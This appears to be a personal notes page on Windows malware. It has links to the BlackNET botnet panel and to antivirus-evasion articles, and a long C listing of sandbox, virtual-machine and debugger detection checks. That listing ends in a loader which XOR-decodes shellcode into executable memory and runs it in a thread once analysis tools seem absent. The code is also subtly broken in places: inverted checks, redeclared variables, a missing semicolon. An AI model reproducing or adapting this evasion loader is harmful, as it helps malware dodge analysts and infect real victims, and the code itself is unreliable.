Skip to content

Malware

Malware

BlackNET - Free advanced and modern Windows botnet with a nice and secure PHP panel developed using VB.NET.

Windows Malware

Source 1
Source 2
Source 3

bool CALLBACK MyCallback(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lpRect, LPARAM data)
{
	MONITORINFO monitorInfo;
	monitorInfo.cbSize = sizeof(MONITORINFO);
	GetMonitorInfoW(hMonitor, &monitorInfo);
	int xResolution = monitorInfo.rcMonitor.right - monitorInfo.rcMonitor.left;
	int yResolution = monitorInfo.rcMonitor.top - monitorInfo.rcMonitor.bottom;
	if (xResolution < 0) xResolution = -xResolution;
	if (yResolution < 0) yResolution = -yResolution;
	if ((xResolution != 1920 && xResolution != 2560 && xResolution != 1440)
		|| (yResolution != 1080 && yResolution != 1200 && yResolution != 1600 && yResolution != 900)) {
		*((BOOL*)data) = true;
	}
	return true;
}


DWORD GetParentPID(DWORD pid)
{
	DWORD ppid = 0;
	PROCESSENTRY32W processEntry = { 0 };
	processEntry.dwSize = sizeof(PROCESSENTRY32W);
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (Process32FirstW(hSnapshot, &processEntry))
	{
		do
		{
			if (processEntry.th32ProcessID == pid)
			{
				ppid = processEntry.th32ParentProcessID;
				break;
			}
		} while (Process32NextW(hSnapshot, &processEntry));
	}
	CloseHandle(hSnapshot);
	return ppid;
}


bool isVirtualHardware(){
	// check CPU
	SYSTEM_INFO systemInfo;
	GetSystemInfo(&systemInfo);
	DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;
	if (numberOfProcessors < 2){
		return false;
	}

	// check RAM
	MEMORYSTATUSEX memoryStatus;
	memoryStatus.dwLength = sizeof(memoryStatus);
	GlobalMemoryStatusEx(&memoryStatus);
	DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024;
	if (RAMMB < 2048) {
		return false;
	}

	// check HDD
	HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
	DISK_GEOMETRY pDiskGeometry;
	DWORD bytesReturned;
	DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
	DWORD diskSizeGB;
	diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
	if (diskSizeGB < 100) {
		return false;
	}

	//Check Vendor Names
	HDEVINFO hDeviceInfo = SetupDiGetClassDevs(&GUID_DEVCLASS_DISKDRIVE, 0, 0, DIGCF_PRESENT);
	SP_DEVINFO_DATA deviceInfoData;
	deviceInfoData.cbSize = sizeof(SP_DEVINFO_DATA);
	SetupDiEnumDeviceInfo(hDeviceInfo, 0, &deviceInfoData);
	DWORD propertyBufferSize;
	SetupDiGetDeviceRegistryPropertyW(hDeviceInfo, &deviceInfoData, SPDRP_FRIENDLYNAME, NULL, NULL, 0, &propertyBufferSize);
	PWSTR HDDName = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, propertyBufferSize);
	SetupDiGetDeviceRegistryPropertyW(hDeviceInfo, &deviceInfoData, SPDRP_FRIENDLYNAME, NULL, (PBYTE)HDDName, propertyBufferSize, NULL);
	CharUpperW(HDDName);
	if (wcsstr(HDDName, L"VBOX")) {
		return false;
	}

	//Check Guest Devices
	OBJECT_ATTRIBUTES objectAttributes;
	UNICODE_STRING uDeviceName;
	RtlSecureZeroMemory(&uDeviceName, sizeof(uDeviceName));
	RtlInitUnicodeString(&uDeviceName, L"\\Device\\VBoxGuest"); // or pipe: L"\\??\\pipe\\VBoxTrayIPC-<username>"
	InitializeObjectAttributes(&objectAttributes, &uDeviceName, OBJ_CASE_INSENSITIVE, 0, NULL);
	HANDLE hDevice = NULL;
	IO_STATUS_BLOCK ioStatusBlock;
	NTSTATUS status = NtCreateFile(&hDevice, GENERIC_READ, &objectAttributes, &ioStatusBlock, NULL, 0, 0, FILE_OPEN, 0, NULL, 0);
	if (NT_SUCCESS(status)) {
		return false;
	}

	//Check IP address
	DWORD adaptersListSize = 0;
	GetAdaptersAddresses(AF_UNSPEC, 0, 0, 0, &adaptersListSize);
	IP_ADAPTER_ADDRESSES* pAdaptersAddresses = (IP_ADAPTER_ADDRESSES*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, adaptersListSize);
	if (pAdaptersAddresses){
		GetAdaptersAddresses(AF_UNSPEC, 0, 0, pAdaptersAddresses, &adaptersListSize);
		char mac[6] = { 0 };
		while (pAdaptersAddresses){
			if (pAdaptersAddresses->PhysicalAddressLength == 6){
				memcpy(mac, pAdaptersAddresses->PhysicalAddress, 6);
				if (!memcmp({ "\x08\x00\x27" }, mac, 3)) {
					return false;
				}
			}

			pAdaptersAddresses = pAdaptersAddresses->Next;
		}
	}

	// check files
	WIN32_FIND_DATAW findFileData;
	if (FindFirstFileW(L"C:\\Windows\\System32\\VBox*.dll", &findFileData) != INVALID_HANDLE_VALUE) {
		return false;
	}

	// check registry key
	HKEY hkResult;
	if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Services\\VBoxSF", 0, KEY_QUERY_VALUE, &hkResult) == ERROR_SUCCESS) {
		return false;
	}

	// Check Application name and directory
	wchar_t currentProcessPath[MAX_PATH + 1];
	GetModuleFileNameW(NULL, currentProcessPath, MAX_PATH + 1);
	CharUpperW(currentProcessPath);
	if (!wcsstr(currentProcessPath, L"C:\\USERS\\PUBLIC\\")) {
		return false;
	}
	if (!wcsstr(currentProcessPath, L"MALWARE.EXE")) {
		return false;
	}

	//Check if launched by debugger
	DWORD parentPid = GetParentPID(GetCurrentProcessId());
	WCHAR parentName[MAX_PATH + 1];
	DWORD dwParentName = MAX_PATH;
	HANDLE hParent = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, parentPid);
	QueryFullProcessImageNameW(hParent, 0, parentName, &dwParentName); // another way to get process name is to use 'Toolhelp32Snapshot'
	CharUpperW(parentName);
	if (wcsstr(parentName, L"WINDBG.EXE")) {
		return false;
	}

	//Check for other processes
	PROCESSENTRY32W processEntry = { 0 };
	processEntry.dwSize = sizeof(PROCESSENTRY32W);
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	WCHAR processName[MAX_PATH + 1];
	if (Process32FirstW(hSnapshot, &processEntry)){
		do{
			StringCchCopyW(processName, MAX_PATH, processEntry.szExeFile);
			CharUpperW(processName);
			if (wcsstr(processName, L"WIRESHARK.EXE")) {
				return false;
			}
		} while (Process32NextW(hSnapshot, &processEntry));
	}


	//Check libraries loaded by other processes
	DWORD runningProcessesIDs[1024];
	DWORD runningProcessesBytes;
	EnumProcesses(runningProcessesIDs, sizeof(runningProcessesIDs), &runningProcessesBytes);
	for (int i = 0; i < runningProcessesBytes / sizeof(DWORD); i++)	{
		HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, runningProcessesIDs[i]);
		if (!hProcess) continue;
		HMODULE processModules[1024];
		DWORD processModulesBytes;
		int s1 = EnumProcessModules(hProcess, processModules, sizeof(processModules), &processModulesBytes);
		for (int j = 0; j < processModulesBytes / sizeof(HMODULE); j++)		{
			WCHAR moduleName[MAX_PATH + 1];
			GetModuleFileNameExW(hProcess, processModules[j], moduleName, MAX_PATH);
			CharUpperW(moduleName);
			if (wcsstr(moduleName, L"DBGHELP.DLL")) {
				return false;
			}
		}
	}

	//Check windows names
	WCHAR windowTitle[1024];
	GetWindowTextW(EnumWindowsProc, windowTitle, sizeof(windowTitle));
	CharUpperW(windowTitle);
	if (wcsstr(windowTitle, L"SYSINTERNALS")) {
		return false;
	}

	//check computer name
	DWORD computerNameLength;
	wchar_t computerName[MAX_COMPUTERNAME_LENGTH + 1];
	GetComputerNameW(computerName, &computerNameLength);
	CharUpperW(computerName);
	if (wcsstr(computerName, L"DESKTOP-")) {
		return false;
	}

	//check user name
	DWORD userNameLength;
	wchar_t userName[UNLEN + 1];
	GetUserNameW(userName, &userNameLength);
	CharUpperW(userName);
	if (wcsstr(userName, L"ADMIN")) {
		return false;
	}

	//Check Domain
	PWSTR domainName;
	NETSETUP_JOIN_STATUS status;
	NetGetJoinInformation(NULL, &domainName, &status);
	if (status != NetSetupDomainName){
		return false;
	} 

	//Check Screen Resolution
	MONITORENUMPROC pMyCallback = (MONITORENUMPROC)MyCallback;
	int xResolution = GetSystemMetrics(SM_CXSCREEN);
	int yResolution = GetSystemMetrics(SM_CYSCREEN);
	if (xResolution < 1000 && yResolution < 1000)  {
		return false;
	}

	int numberOfMonitors = GetSystemMetrics(SM_CMONITORS);
	bool sandbox = false;
	EnumDisplayMonitors(NULL, NULL, pMyCallback, (LPARAM)(&sandbox));
	if (sandbox) {
		return false;
	}


	//Check If a USB was inserted at some point
	HKEY hKey;
	DWORD mountedUSBDevicesCount;
	RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Enum\\USBSTOR", 0, KEY_READ, &hKey);
	RegQueryInfoKey(hKey, NULL, NULL, NULL, &mountedUSBDevicesCount, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
	if (mountedUSBDevicesCount < 1) {
		return false;
	}

	//Check TimeZone
	/*
	SetThreadLocale(MAKELCID(MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US), SORT_DEFAULT));
	DYNAMIC_TIME_ZONE_INFORMATION dynamicTimeZoneInfo;
	GetDynamicTimeZoneInformation(&dynamicTimeZoneInfo);
	wchar_t timeZoneName[128 + 1];
	StringCchCopyW(timeZoneName, 128, dynamicTimeZoneInfo.TimeZoneKeyName);
	CharUpperW(timeZoneName);
	if (!wcsstr(timeZoneName, L"CENTRAL EUROPEAN STANDARD TIME")) {
		return false;
	}
	*/



	wprintf_s(L"Now hacking...\n");
	return true
}

bool isAutomatedAnalysis(){

	//Test Internet Connection
	HINTERNET hSession = WinHttpOpen(L"Mozilla 5.0", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
	HINTERNET hConnection = WinHttpConnect(hSession, L"example.com", INTERNET_DEFAULT_HTTP_PORT, 0);
	HINTERNET hRequest = WinHttpOpenRequest(hConnection, L"GET", L"test", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, NULL);
	WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
	BOOL status = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
	if (!status) {
		return false;
	}

	//Test HTTP Response
	HINTERNET hSession = WinHttpOpen(L"Mozilla 5.0", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
	HINTERNET hConnection = WinHttpConnect(hSession, L"example.com", INTERNET_DEFAULT_HTTP_PORT, 0);
	HINTERNET hRequest = WinHttpOpenRequest(hConnection, L"GET", L"test", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, NULL);
	WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
	WinHttpReceiveResponse(hRequest, 0);
	DWORD responseLength;
	WinHttpQueryDataAvailable(hRequest, &responseLength);
	PVOID response = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, responseLength + 1);
	WinHttpReadData(hRequest, response, responseLength, &responseLength);
	if (atoi((PSTR)response) != 1337){
		return false;
	}

	//Some User Interaction
	/*
	//Pop Message Box
	MessageBoxW(NULL, L"Just click OK", L"Hello", 0);

	//Wait for User response
	int response = MessageBoxW(NULL, L"Do you want to restart your computer now?", L"Restart required", MB_YESNOCANCEL);
	if (response == IDYES) {
		return false;
	}

	//Move the cursor 
	POINT currentMousePosition;
	POINT previousMousePosition;
	GetCursorPos(&previousMousePosition);
	double mouseDistance = 0;
	while (true)
	{
		GetCursorPos(&currentMousePosition);
		mouseDistance += sqrt(
			pow(currentMousePosition.x - previousMousePosition.x, 2) +
			pow(currentMousePosition.y - previousMousePosition.y, 2)
		);
		Sleep(100);
		previousMousePosition = currentMousePosition;
		if (mouseDistance > 20000) break;
	}
	*/


	//Check Previous User interaction
	PWSTR recentFolder = NULL;
	SHGetKnownFolderPath(FOLDERID_Recent, 0, NULL, &recentFolder);
	wchar_t recentFolderFiles[MAX_PATH + 1] = L"";
	StringCbCatW(recentFolderFiles, MAX_PATH, recentFolder);
	StringCbCatW(recentFolderFiles, MAX_PATH, L"\\*");
	int numberOfRecentFiles = 0;
	WIN32_FIND_DATAW findFileData;
	HANDLE hFind = FindFirstFileW(recentFolderFiles, &findFileData);
	if (hFind != INVALID_HANDLE_VALUE){
		do{
			numberOfRecentFiles++;
		} while (FindNextFileW(hFind, &findFileData));
	}
	if (numberOfRecentFiles >= 2) {
		numberOfRecentFiles-=2; //exclude '.' and '..'
	}
	if (numberOfRecentFiles < 20) {
		return false;
	}

	//Check Number of Processes
	DWORD runningProcessesIDs[1024];
	DWORD runningProcessesCountBytes;
	DWORD runningProcessesCount;
	EnumProcesses(runningProcessesIDs, sizeof(runningProcessesIDs), &runningProcessesCountBytes);
	runningProcessesCount = runningProcessesCountBytes / sizeof(DWORD);
	if (runningProcessesCount < 50) {
		return false;
	}

	//Check Uptime
	ULONGLONG uptime = GetTickCount64() / 1000;
	if (uptime < 1200) {
		return false; //20 minutes
	}

	//Delay Execution
	ULONGLONG uptimeBeforeSleep = GetTickCount64();
	typedef NTSTATUS(WINAPI *PNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER);
	PNtDelayExecution pNtDelayExecution = (PNtDelayExecution)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtDelayExecution");
	LARGE_INTEGER delay;
	delay.QuadPart = -10000 * 100000; // 100 seconds
	pNtDelayExecution(FALSE, &delay);
	ULONGLONG uptimeAfterSleep = GetTickCount64();
	if ((uptimeAfterSleep - uptimeBeforeSleep) < 100000) {
		return false;
	}

	//Kernel Execution
	Sleep(1000000);
	ULONG *PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004;
	LONG *PUserSharedData_High1Time = (PLONG)0x7ffe0324;
	ULONG *PUserSharedData_LowPart = (PULONG)0x7ffe0320;
	DWORD time = GetTickCount64();
	DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) +
		((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24);
	if ((time - kernelTime) > 100 && (kernelTime - time) > 100) {
		return false;
	}


	return true;
}



void main()
{
	if(!isVirtualHardware()){

		if(!isAutomatedAnalysis()){

			const char shellcode[] = "\xc9\x7d\xb6 (...) ";
			PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
			RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
			DWORD threadID;
			for (int i = 0; i < sizeof shellcode; i++)
			{
				((char*)shellcode_exec)[i] = (((char*)shellcode_exec)[i]) ^ '\x35';
			}
			HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
			WaitForSingleObject(hThread, INFINITE);
		}
	}

	return false;
}

Anti Debugging

https://old.antukh.com/blog/2015/01/19/malware-techniques-cheat-sheet/

Antivirus Evasion

https://blog.scrt.ch/2020/06/19/engineering-antivirus-evasion/
https://blog.scrt.ch/2020/07/15/engineering-antivirus-evasion-part-ii/
https://github.com/scrt/avcleaner